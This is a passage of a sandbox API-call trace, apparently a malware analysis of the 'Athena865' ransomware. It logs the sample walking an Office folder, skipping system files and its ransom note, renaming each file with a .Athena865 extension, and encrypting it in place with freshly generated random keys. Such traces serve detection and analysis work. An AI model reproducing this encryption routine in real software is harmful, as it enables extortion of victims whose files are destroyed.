(lpString="cdb") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="cdb") returned 1 [0076.073] lstrlenW (lpString="ckp") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="ckp") returned 1 [0076.073] lstrlenW (lpString="cma") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="cma") returned 1 [0076.073] lstrlenW (lpString="cpd") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="cpd") returned 1 [0076.073] lstrlenW (lpString="dacpac") returned 6 [0076.073] lstrcmpiW (lpString1="es.dub", lpString2="dacpac") returned 1 [0076.073] lstrlenW (lpString="dad") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="dad") returned 1 [0076.073] lstrlenW (lpString="dadiagrams") returned 10 [0076.073] lstrcmpiW (lpString1="wre_es.dub", lpString2="dadiagrams") returned 1 [0076.073] lstrlenW (lpString="daschema") returned 8 [0076.073] lstrcmpiW (lpString1="e_es.dub", lpString2="daschema") returned 1 [0076.073] lstrlenW (lpString="db-journal") returned 10 [0076.073] lstrcmpiW (lpString1="wre_es.dub", lpString2="db-journal") returned 1 [0076.073] lstrlenW (lpString="db-shm") returned 6 [0076.073] lstrcmpiW (lpString1="es.dub", lpString2="db-shm") returned 1 [0076.073] lstrlenW (lpString="db-wal") returned 6 [0076.073] lstrcmpiW (lpString1="es.dub", lpString2="db-wal") returned 1 [0076.073] lstrlenW (lpString="dbc") returned 3 [0076.073] lstrcmpiW (lpString1="dub", lpString2="dbc") returned 1 [0076.073] lstrlenW (lpString="dbs") returned 3 [0076.074] lstrcmpiW (lpString1="dub", lpString2="dbs") returned 1 [0076.074] lstrlenW (lpString="dbt") returned 3 [0076.074] lstrcmpiW (lpString1="dub", lpString2="dbt") returned 1 [0076.074] lstrlenW (lpString="dbv") returned 3 [0076.074] lstrcmpiW (lpString1="dub", lpString2="dbv") returned 1 [0076.074] lstrlenW (lpString="dbx") returned 3 [0076.074] lstrcmpiW (lpString1="dub", lpString2="dbx") returned 1 [0076.074] lstrlenW (lpString="dcb") returned 3 [0076.074] lstrcmpiW (lpString1="dub", lpString2="dcb") returned 1 [0076.074] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub.Athena865") returned 69 [0076.074] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub.athena865"), dwFlags=0x1) returned 1 [0076.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_es.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_es.dub.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.075] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3072) returned 1 [0076.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.075] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.076] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.076] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.076] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.076] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf00, lpName=0x0) returned 0x17c [0076.078] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf00) returned 0x100000 [0076.079] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.080] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.080] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.080] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.080] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0076.081] CloseHandle (hObject=0x17c) returned 1 [0076.081] CloseHandle (hObject=0x154) returned 1 [0076.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.081] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.081] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205ef100, ftCreationTime.dwHighDateTime=0x1cba072, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x205ef100, ftLastWriteTime.dwHighDateTime=0x1cba072, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mscss7wre_fr.dub", cAlternateFileName="MSCSS7~4.DUB")) returned 1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2=".") returned 1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="..") returned 1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="windows") returned -1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="bootmgr") returned 1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="temp") returned -1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="pagefile.sys") returned -1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="boot") returned 1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="ids.txt") returned 1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="ntuser.dat") returned -1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="perflogs") returned -1 [0076.081] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2="MSBuild") returned 1 [0076.081] lstrlenW (lpString="mscss7wre_fr.dub") returned 16 [0076.081] lstrcpyW (in: lpString1=0x241e89e, lpString2="mscss7wre_fr.dub" | out: lpString1="mscss7wre_fr.dub") returned="mscss7wre_fr.dub" [0076.081] lstrlenW (lpString="mscss7wre_fr.dub") returned 16 [0076.081] lstrlenW (lpString="Athena865") returned 9 [0076.082] lstrcmpiW (lpString1="re_fr.dub", lpString2="Athena865") returned 1 [0076.082] lstrlenW (lpString=".dll") returned 4 [0076.082] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2=".dll") returned 1 [0076.082] lstrlenW (lpString=".lnk") returned 4 [0076.082] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2=".lnk") returned 1 [0076.082] lstrlenW (lpString=".ini") returned 4 [0076.082] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2=".ini") returned 1 [0076.082] lstrlenW (lpString=".sys") returned 4 [0076.082] lstrcmpiW (lpString1="mscss7wre_fr.dub", lpString2=".sys") returned 1 [0076.082] lstrlenW (lpString="mscss7wre_fr.dub") returned 16 [0076.082] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub.Athena865") returned 69 [0076.082] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub.athena865"), dwFlags=0x1) returned 1 [0076.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7wre_fr.dub.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7wre_fr.dub.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.083] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3072) returned 1 [0076.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.083] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.084] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.084] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.084] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.084] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf00, lpName=0x0) returned 0x17c [0076.086] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf00) returned 0x100000 [0076.086] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.087] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.087] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.087] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.088] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0076.088] CloseHandle (hObject=0x17c) returned 1 [0076.088] CloseHandle (hObject=0x154) returned 1 [0076.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.088] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ee1a00, ftCreationTime.dwHighDateTime=0x1cacf36, ftLastAccessTime.dwLowDateTime=0x58c0b550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52ee1a00, ftLastWriteTime.dwHighDateTime=0x1cacf36, nFileSizeHigh=0x0, nFileSizeLow=0xee9a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mset7.dll", cAlternateFileName="")) returned 1 [0076.088] lstrcmpiW (lpString1="mset7.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.088] lstrcmpiW (lpString1="mset7.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.088] lstrcmpiW (lpString1="mset7.dll", lpString2=".") returned 1 [0076.088] lstrcmpiW (lpString1="mset7.dll", lpString2="..") returned 1 [0076.088] lstrcmpiW (lpString1="mset7.dll", lpString2="windows") returned -1 [0076.088] lstrcmpiW (lpString1="mset7.dll", lpString2="bootmgr") returned 1 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2="temp") returned -1 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2="pagefile.sys") returned -1 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2="boot") returned 1 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2="ids.txt") returned 1 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2="ntuser.dat") returned -1 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2="perflogs") returned -1 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2="MSBuild") returned 1 [0076.089] lstrlenW (lpString="mset7.dll") returned 9 [0076.089] lstrcpyW (in: lpString1=0x241e89e, lpString2="mset7.dll" | out: lpString1="mset7.dll") returned="mset7.dll" [0076.089] lstrlenW (lpString="mset7.dll") returned 9 [0076.089] lstrlenW (lpString="Athena865") returned 9 [0076.089] lstrlenW (lpString=".dll") returned 4 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2=".dll") returned 1 [0076.089] lstrlenW (lpString=".lnk") returned 4 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2=".lnk") returned 1 [0076.089] lstrlenW (lpString=".ini") returned 4 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2=".ini") returned 1 [0076.089] lstrlenW (lpString=".sys") returned 4 [0076.089] lstrcmpiW (lpString1="mset7.dll", lpString2=".sys") returned 1 [0076.089] lstrlenW (lpString="mset7.dll") returned 9 [0076.089] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mset7.dll.Athena865") returned 62 [0076.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7.dll" (normalized: "c:\\program files\\microsoft office\\office14\\mset7.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7.dll.athena865"), dwFlags=0x1) returned 1 [0076.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.091] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=977320) returned 1 [0076.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.091] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.092] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.092] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.092] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xeecb0, lpName=0x0) returned 0x17c [0076.093] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xeecb0) returned 0x2d50000 [0076.139] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.140] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.140] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.140] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.149] CloseHandle (hObject=0x17c) returned 1 [0076.149] CloseHandle (hObject=0x154) returned 1 [0076.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.149] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.154] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b94600, ftCreationTime.dwHighDateTime=0x1c879f3, ftLastAccessTime.dwLowDateTime=0x69def8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b94600, ftLastWriteTime.dwHighDateTime=0x1c879f3, nFileSizeHigh=0x0, nFileSizeLow=0x2c5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mset7db.kic", cAlternateFileName="")) returned 1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2=".") returned 1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="..") returned 1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="windows") returned -1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="bootmgr") returned 1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="temp") returned -1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="pagefile.sys") returned -1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="boot") returned 1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="ids.txt") returned 1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="ntuser.dat") returned -1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="perflogs") returned -1 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2="MSBuild") returned 1 [0076.154] lstrlenW (lpString="mset7db.kic") returned 11 [0076.154] lstrcpyW (in: lpString1=0x241e89e, lpString2="mset7db.kic" | out: lpString1="mset7db.kic") returned="mset7db.kic" [0076.154] lstrlenW (lpString="mset7db.kic") returned 11 [0076.154] lstrlenW (lpString="Athena865") returned 9 [0076.154] lstrcmpiW (lpString1="et7db.kic", lpString2="Athena865") returned 1 [0076.154] lstrlenW (lpString=".dll") returned 4 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2=".dll") returned 1 [0076.154] lstrlenW (lpString=".lnk") returned 4 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2=".lnk") returned 1 [0076.154] lstrlenW (lpString=".ini") returned 4 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2=".ini") returned 1 [0076.154] lstrlenW (lpString=".sys") returned 4 [0076.154] lstrcmpiW (lpString1="mset7db.kic", lpString2=".sys") returned 1 [0076.154] lstrlenW (lpString="mset7db.kic") returned 11 [0076.155] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic.Athena865") returned 64 [0076.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic.athena865"), dwFlags=0x1) returned 1 [0076.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\mset7db.kic.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\mset7db.kic.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0076.164] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2904064) returned 1 [0076.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0076.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0076.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0076.165] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0076.165] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0076.165] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.165] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c5300, lpName=0x0) returned 0x17c [0076.168] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xc5300) returned 0x2d50000 [0076.352] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0076.353] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0076.353] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0076.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0076.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0076.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0076.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0076.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0076.353] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0076.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0076.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0076.353] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0076.353] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0076.360] CloseHandle (hObject=0x17c) returned 1 [0076.360] CloseHandle (hObject=0x154) returned 1 [0076.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0076.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0076.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0076.370] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34365600, ftCreationTime.dwHighDateTime=0x1cacf2b, ftLastAccessTime.dwLowDateTime=0x69e15a10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34365600, ftLastWriteTime.dwHighDateTime=0x1cacf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1c5b3e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mset7en.kic", cAlternateFileName="")) returned 1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2=".") returned 1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="..") returned 1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="windows") returned -1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="bootmgr") returned 1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="temp") returned -1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", lpString2="pagefile.sys") returned -1 [0076.370] lstrcmpiW (lpString1="mset7en.kic", 